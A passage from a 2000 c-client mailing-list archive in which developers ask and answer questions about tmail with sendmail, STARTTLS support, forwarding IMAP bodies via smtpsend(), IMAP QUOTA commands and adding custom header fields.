(8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA15991 for ; Tue, 7 Nov 2000 01:35:50 -0800 Received: by mail22.bigmailbox.com (8.8.7/8.8.7) id BAA32028; Tue, 7 Nov 2000 01:36:24 -0800 Message-Id: <200011070936.BAA32028@mail22.bigmailbox.com> Date: Tue, 7 Nov 2000 01:36:24 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Henri Dupre" To: c-client@CAC.Washington.EDU Subject: Any sendmail feature file for tmail Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: binary Mime-Version: 1.0 X-Originating-Ip: [157.159.110.94] X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm using tmail for dispatching local mail. I know there are instructions on its man page on how to setup sendmail but it would be really easier to have a sendmail feature file. This way it would not be necessary to edit manually the sendmail.cf file. Is there such file available somewhere ?? ------------------------------------------------------------ --== Sent via Deja.com http://www.deja.com/ ==-- Before you buy. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Nov 7 05:47:57 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 7 Nov 2000 05:47:56 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id FAA21145 for ; Tue, 7 Nov 2000 05:47:55 -0800 (PST) Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id FAA20629; Tue, 7 Nov 2000 05:47:53 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id FAA18846; Tue, 7 Nov 2000 05:46:13 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id FAA183048 for ; Tue, 7 Nov 2000 05:43:37 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id FAA31112 for ; Tue, 7 Nov 2000 05:43:36 -0800 Received: from honeybee.sover.net (honeybee.sover.net [209.198.87.129]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id FAA20546 for ; Tue, 7 Nov 2000 05:43:36 -0800 Received: from localhost (erikl@localhost) by honeybee.sover.net (8.9.3/8.9.3) with ESMTP id IAA00377; Tue, 7 Nov 2000 08:38:04 -0500 (EST) Message-Id: Date: Tue, 7 Nov 2000 08:38:04 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Erik R. Leo" To: Henri Dupre Cc: Subject: Re: Any sendmail feature file for tmail In-Reply-To: <200011070936.BAA32028@mail22.bigmailbox.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: honeybee.sover.net: erikl owned process doing -bs X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN See $sendmail/cf/README, noting the sections about LOCAL_MAILER_*: [...] LOCAL_MAILER_PATH [/bin/mail] The program used to deliver local mail. LOCAL_MAILER_FLAGS [Prmn9] The flags used by the local mailer. The flags lsDFMAw5:/|@q are always included. LOCAL_MAILER_ARGS [mail -d $u] The arguments passed to deliver local mail. [...] -Erik -- Erik R. Leo, Net Worker SoVerNet Tel: +1(802)463-2111 Vermont's Sovereign Internet Connection Fax: +1(802)463-2110 Post Office Box 495, 5 Rockingham Street Email: erikl@sover.net Bellows Falls, Vermont 05101 On Tue, 7 Nov 2000, Henri Dupre wrote: > I'm using tmail for dispatching local mail. I know there are instructions on its man page on how to setup sendmail but it would be really easier to have a sendmail feature file. This way it would not be necessary to edit manually the sendmail.cf file. > > Is there such file available somewhere ?? > > > > > ------------------------------------------------------------ > --== Sent via Deja.com http://www.deja.com/ ==-- > Before you buy. > > > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ > From pinedev@shivax2.cac.washington.edu Wed Nov 8 12:47:05 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 8 Nov 2000 12:47:05 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id MAA00356 for ; Wed, 8 Nov 2000 12:47:04 -0800 (PST) Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA08445; Wed, 8 Nov 2000 12:47:00 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA15304; Wed, 8 Nov 2000 12:44:47 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA76650 for ; Wed, 8 Nov 2000 12:40:26 -0800 Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA01148 for ; Wed, 8 Nov 2000 12:40:26 -0800 Received: from westrelay03.boulder.ibm.com (westrelay03.boulder.ibm.com [9.99.132.206]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id PAA86902 for ; Wed, 8 Nov 2000 15:34:09 -0500 Received: from badlands.lexington.ibm.com (badlands.lexington.ibm.com [9.51.81.11]) by westrelay03.boulder.ibm.com (8.8.8m3/NCO v4.95) with ESMTP id NAA82076 for ; Wed, 8 Nov 2000 13:40:19 -0700 Received: from localhost (root@localhost [127.0.0.1]) (authenticated (0 bits)) by badlands.lexington.ibm.com (8.11.2.Beta0/8.11.2.Beta0/Debian 8.11.0-6) with ESMTP id eA8KdpW17003 for ; Wed, 8 Nov 2000 15:39:51 -0500 Message-Id: Date: Wed, 8 Nov 2000 15:39:48 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Richard A Nelson To: Subject: STARTLLS support MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: X-No-Markup: yes X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Is anyone looking at STARTTLS support in c-client? I've got authentication and ssl wrapped smtp working (I'd tried this already, I'm not sure whats different but it works): smtp-server=localhost:465/user=cowboy/ssl/novalidate-cert Now, I'd like to drop the stunnel, and use the smtp STARTTLS: $ telnet localhost 25 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. 220 badlands.lexington.ibm.com ESMTP Sendmail 8.11.2.Beta0/8.11.2.Beta0/Debian 8.11.0-6; Wed, 8 Nov 2000 15:31:41 -0500 ehlo localhost 250-badlands.lexington.ibm.com Hello root@localhost [127.0.0.1], pleased to meet you 250-ENHANCEDSTATUSCODES 250-EXPN 250-VERB 250-8BITMIME 250-SIZE 250-DSN 250-ONEX 250-ETRN 250-XUSR 250-AUTH DIGEST-MD5 CRAM-MD5 PLAIN LOGIN ANONYMOUS 250-STARTTLS 250 HELP I guess c-client would need to try sslwrap/stunnel first, and if that fails then try STARTTLS (if and only if STARTTLS is in the responce to the ehlo command). -- Rick Nelson Life'll kill ya -- Warren Zevon Then you'll be dead -- Life'll kill ya -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Nov 8 13:00:44 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 8 Nov 2000 13:00:44 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id NAA26263 for ; Wed, 8 Nov 2000 13:00:43 -0800 (PST) Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA08978; Wed, 8 Nov 2000 13:00:41 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA20266; Wed, 8 Nov 2000 12:54:57 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA339278 for ; Wed, 8 Nov 2000 12:52:03 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (groves@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA03525 for ; Wed, 8 Nov 2000 12:52:03 -0800 Message-Id: Date: Wed, 8 Nov 2000 12:49:40 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Richard A Nelson Cc: c-client@u.washington.edu Subject: re: STARTLLS support In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 8 Nov 2000 15:39:48 -0500 (EST), Richard A Nelson wrote: > Is anyone looking at STARTTLS support in c-client? STARTTLS server support already exists. STARTTLS client support is on the list for a future version. It will happen sooner rather than later. The main holdup was the late unlamented government restrictions on encryption software, and the complexity required in hiding SSL/TLS support in "cleansed" sources. That necessity no longer exists, thankfully. From pinedev@shivax2.cac.washington.edu Thu Nov 9 03:33:39 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Nov 2000 03:33:39 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id DAA25279 for ; Thu, 9 Nov 2000 03:33:37 -0800 (PST) Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id DAA32750; Thu, 9 Nov 2000 03:33:34 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id DAA24556; Thu, 9 Nov 2000 03:32:40 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id DAA385916 for ; Thu, 9 Nov 2000 03:31:07 -0800 Received: from dsdm02002.internet.datamedia.fr (mail.datamedia.fr [212.155.239.64]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id DAA26010 for ; Thu, 9 Nov 2000 03:31:06 -0800 Received: by dsdm02002.internet.datamedia.fr with Internet Mail Service (5.5.2650.21) id <45F9HR49>; Thu, 9 Nov 2000 12:31:06 +0100 Message-Id: <21ACBAE9C35CD311800D005004869A7533CFEE@dsdm02002.internet.datamedia.fr> Date: Thu, 9 Nov 2000 12:31:06 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Emmanuel Sellier To: "C-Client (E-mail)" Subject: copy imap body in the smtp message using smtpsend() MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I try to "forward" an imap message to an smtp mailbox. * I have a body and envelope using : ENVELOPE *envelope; BODY * body; envelope=mail_fetchstructure(_stream, msgno, &body); * then i call the smtpsend() methode passing both envelope and body parameters and a new target addresss, replacing the field in the envelope. smtpsend(0, envelope, fwdMailbox, body); * the original smtpsend was modified as : int smtpsend(long debug, ENVELOPE *msg, char *to, BODY *body) ... msg->to=NULL; rfc822_parse_adrlist (&msg->to,to,curhst); ... if (smtp_mail (smtp_stream,"MAIL", msg, body)) TRACE("smtpsend(%s) : SMTP send ok", _name); ... * the SMTP mail is sent but body is empty ??? does someone know what is going wrong ? Thanks a lot Emmanuel Sellier DATAMEDIA www.irisa.com Paris - France -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Nov 9 07:42:37 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Nov 2000 07:42:36 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id HAA20472 for ; Thu, 9 Nov 2000 07:42:35 -0800 (PST) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA14464; Thu, 9 Nov 2000 07:42:33 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id HAA34772; Thu, 9 Nov 2000 07:41:34 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id HAA46318 for ; Thu, 9 Nov 2000 07:40:10 -0800 Received: from hotmail.com (f192.law8.hotmail.com [216.33.241.192]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA05462 for ; Thu, 9 Nov 2000 07:40:09 -0800 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 9 Nov 2000 07:40:06 -0800 Received: from 212.83.202.43 by lw8fd.law8.hotmail.msn.com with HTTP; Thu, 09 Nov 2000 15:40:06 GMT Message-Id: Date: Thu, 09 Nov 2000 15:40:06 GMT Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Koos S." To: esellier@datamedia.fr, c-client@u.washington.edu Subject: Re: copy imap body in the smtp message using smtpsend() Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-Originating-IP: [212.83.202.43] X-OriginalArrivalTime: 09 Nov 2000 15:40:06.0711 (UTC) FILETIME=[55BE0C70:01C04A63] X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The body variable is only filled with data concerning the (mime)body. You need to fetch the actual data explicitly and fill the body with this data. >From: Emmanuel Sellier >To: "C-Client (E-mail)" >Subject: copy imap body in the smtp message using smtpsend() >Date: Thu, 9 Nov 2000 12:31:06 +0100 > >Hello, > >I try to "forward" an imap message to an smtp mailbox. >* I have a body and envelope using : > ENVELOPE *envelope; > BODY * body; > > envelope=mail_fetchstructure(_stream, msgno, &body); > >* then i call the smtpsend() methode passing both envelope and body >parameters and a new target addresss, replacing the field in the >envelope. > smtpsend(0, envelope, fwdMailbox, body); > >* the original smtpsend was modified as : >int smtpsend(long debug, ENVELOPE *msg, char *to, BODY *body) >... > msg->to=NULL; > rfc822_parse_adrlist (&msg->to,to,curhst); >... >if (smtp_mail (smtp_stream,"MAIL", msg, body)) > TRACE("smtpsend(%s) : SMTP send ok", _name); >... > >* the SMTP mail is sent but body is empty ??? does someone know what is >going wrong ? > >Thanks a lot > >Emmanuel Sellier >DATAMEDIA >www.irisa.com >Paris - France > >-- >------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html >------------------------------------------------------------------ _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. Share information about yourself, create your own public profile at http://profiles.msn.com. From pinedev@shivax2.cac.washington.edu Thu Nov 9 07:49:55 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Nov 2000 07:49:55 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id HAA23069 for ; Thu, 9 Nov 2000 07:49:53 -0800 (PST) Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA14690; Thu, 9 Nov 2000 07:49:51 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id HAA17102; Thu, 9 Nov 2000 07:44:46 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id HAA149754 for ; Thu, 9 Nov 2000 07:44:13 -0800 Received: from chrome2.apexvoice.com (chrome3.apexvoice.com [206.117.255.11]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA15334 for ; Thu, 9 Nov 2000 07:44:12 -0800 Received: from steve (steve.apexvoice.com [206.117.255.8]) by chrome2.apexvoice.com (8.9.3/8.9.3) with SMTP id HAA30555 for ; Thu, 9 Nov 2000 07:53:47 -0800 Message-Id: Date: Thu, 9 Nov 2000 07:42:35 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Steve Collins" To: Subject: QUOTA extension MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0006_01C04A20.A036D1D0" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_0006_01C04A20.A036D1D0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Hi all, I hope this is the right place to post this.... The question is on use of GETQUOTAROOT and GETQUOTA to check on other users (for admin purposes). RFC 2087 say to use : TAG GETQUOTAROOT mailbox (returns quotaroot) then TAG GETQUOTA returned-quotaroot So, my main questions is : how do I specify mailbox (in first example) such that it refers to a particular (not me) user; I want to login as a "superuser" and check quotas of unprivileged users. Some background: I've done some testing against Netscape's Messaging server to see how it behaves An unprivileged user "ziggy" can login and execute: TAG GETQUOTAROOT INBOX which returns : * QUOTAROOT INBOX user/ziggy * QUOTA user/ziggy() But cannot execute : GETQUOTA user/ziggy(permission is denied) A privileged user can execute : TAG GETQUOTA user/ziggy but must know the quotaroot to do this (which is the problem) TIA Steve ------------------------- Steve Collins APEX Voice Communications 818.379.8400 ext 113 ------=_NextPart_000_0006_01C04A20.A036D1D0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    Hi = all, I hope this=20 is the right place to post this.... 
     
        The question is on use of GETQUOTAROOT and GETQUOTA to = check on=20 other users (for admin purposes).  
     
        RFC 2087 say to use :
            TAG GETQUOTAROOT = mailbox =20 (returns quotaroot)
        then
           =20 TAG GETQUOTA returned-quotaroot =
     
        So, my main questions is : how do I specify = mailbox (in=20 first example) such that it refers to a particular (not me) user; I want = to=20 login as a "superuser" and check quotas of unprivileged=20 users.
     
     
        Some background:
        I've done some testing against Netscape's Messaging server = to see=20 how it behaves
     
        An unprivileged user "ziggy" can login and execute: TAG = GETQUOTAROOT=20 INBOX which returns :
            * QUOTAROOT INBOX=20 user/ziggy
            * QUOTA=20 user/ziggy()
        But cannot execute : GETQUOTA=20 user/ziggy(permission is denied)
     
        A=20 privileged user can execute :
           =20 TAG GETQUOTA user/ziggy
        but must know the quotaroot to do this (which is the=20 problem)
        
           &nbs= p;
    TIA 
    Steve       &nbs= p; 

    -------------------------
    Steve Collins
    APEX = Voice=20 Communications
    818.379.8400 ext 113

     
    ------=_NextPart_000_0006_01C04A20.A036D1D0-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Nov 9 10:15:39 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Nov 2000 10:15:39 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id KAA12884 for ; Thu, 9 Nov 2000 10:15:38 -0800 (PST) Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA11580; Thu, 9 Nov 2000 10:15:34 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA14850; Thu, 9 Nov 2000 10:10:59 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA387668 for ; Thu, 9 Nov 2000 10:09:35 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (keil@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA03243 for ; Thu, 9 Nov 2000 10:09:34 -0800 Message-Id: Date: Thu, 9 Nov 2000 10:01:48 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Emmanuel Sellier Cc: "C-Client (E-mail)" Subject: re: copy imap body in the smtp message using smtpsend() In-Reply-To: <21ACBAE9C35CD311800D005004869A7533CFEE@dsdm02002.internet.datamedia.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 9 Nov 2000 12:31:06 +0100 , Emmanuel Sellier wrote: > envelope=mail_fetchstructure(_stream, msgno, &body); > > * then i call the smtpsend() methode passing both envelope and body > parameters and a new target addresss, replacing the field in the > envelope. > > * the SMTP mail is sent but body is empty ??? does someone know what is > going wrong ? The BODY structure for mail sending is different from that of mail reading. You can not use a BODY from mail_fetch_structure() to send a message. Long ago, it was intended that you could do so, but practical realities prevented that from happening. Unlike message reading, the body->contents field *is* used by the application in message sending. In message reading, body->contents is internal and not for application use. The next significant difference is in TYPEMESSAGE MIME parts, which in message reading use body->nested.msg but in message sending use body->contents. This is *very* different. Look at rfc822_encode_body_7bit() in rfc822.c to see how a sending BODY structure is treated. Also look at existing programs such as Pine. It was a mistake to use the same structure with different interpretations of the contents, for both; but I didn't realize that until it was too late and programs started depending upon it. Fixing it now would involve substantial changes to existing applications. From pinedev@shivax2.cac.washington.edu Thu Nov 9 14:28:41 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Nov 2000 14:28:39 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id OAA26851 for ; Thu, 9 Nov 2000 14:28:36 -0800 (PST) Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA28580; Thu, 9 Nov 2000 14:28:34 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id OAA08042; Thu, 9 Nov 2000 14:26:55 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id OAA217626 for ; Thu, 9 Nov 2000 14:24:57 -0800 Received: from eve.speakeasy.net (eve.speakeasy.net [216.254.0.17]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA27603 for ; Thu, 9 Nov 2000 14:24:57 -0800 Received: from dolphin (dsl254-086-141-nyc1.dsl-isp.net [216.254.86.141]) by eve.speakeasy.net (8.10.0/8.10.0) with SMTP id eA9MNWD08641 for ; Thu, 9 Nov 2000 14:23:32 -0800 Message-Id: <000a01c04a9c$53193b50$818aa8c0@dolphin> Date: Thu, 9 Nov 2000 17:27:59 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Leon" To: Subject: Adding a new field in the message header MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN How can i add a new field to the header of the message when composing = new mail? For example i want to add: "Disposition-Notification-To: " Thanx for any help -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Nov 9 14:37:48 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Nov 2000 14:37:47 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id OAA25767 for ; Thu, 9 Nov 2000 14:37:46 -0800 (PST) Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA28920; Thu, 9 Nov 2000 14:37:44 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id OAA16752; Thu, 9 Nov 2000 14:36:36 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id OAA193196 for ; Thu, 9 Nov 2000 14:35:28 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA29999 for ; Thu, 9 Nov 2000 14:35:28 -0800 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA25166; Thu, 9 Nov 2000 14:35:27 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (gnof@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id OAA16943; Thu, 9 Nov 2000 14:35:27 -0800 Message-Id: Date: Thu, 9 Nov 2000 14:33:42 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Leon Cc: c-client@u.washington.edu Subject: re: Adding a new field in the message header In-Reply-To: <000a01c04a9c$53193b50$818aa8c0@dolphin> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 9 Nov 2000 17:27:59 -0500, Leon wrote: > How can i add a new field to the header of the message when composing new > mail? > For example i want to add: "Disposition-Notification-To: " The standard way to do this is to write a replacement rfc822_output() routine that you set via the SET_RFC822OUTPUT function of mail_parameters(). Your rfc822_output() routine will call a replacement routine for rfc822_header(). From pinedev@shivax2.cac.washington.edu Fri Nov 10 10:08:18 2000 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 10 Nov 2000 10:08:18 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id KAA10013 for ; Fri, 10 Nov 2000 10:08:17 -0800 (PST) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA26159; Fri, 10 Nov 2000 10:08:14 -0800 Received: from host (server@lists.u.washington.edu 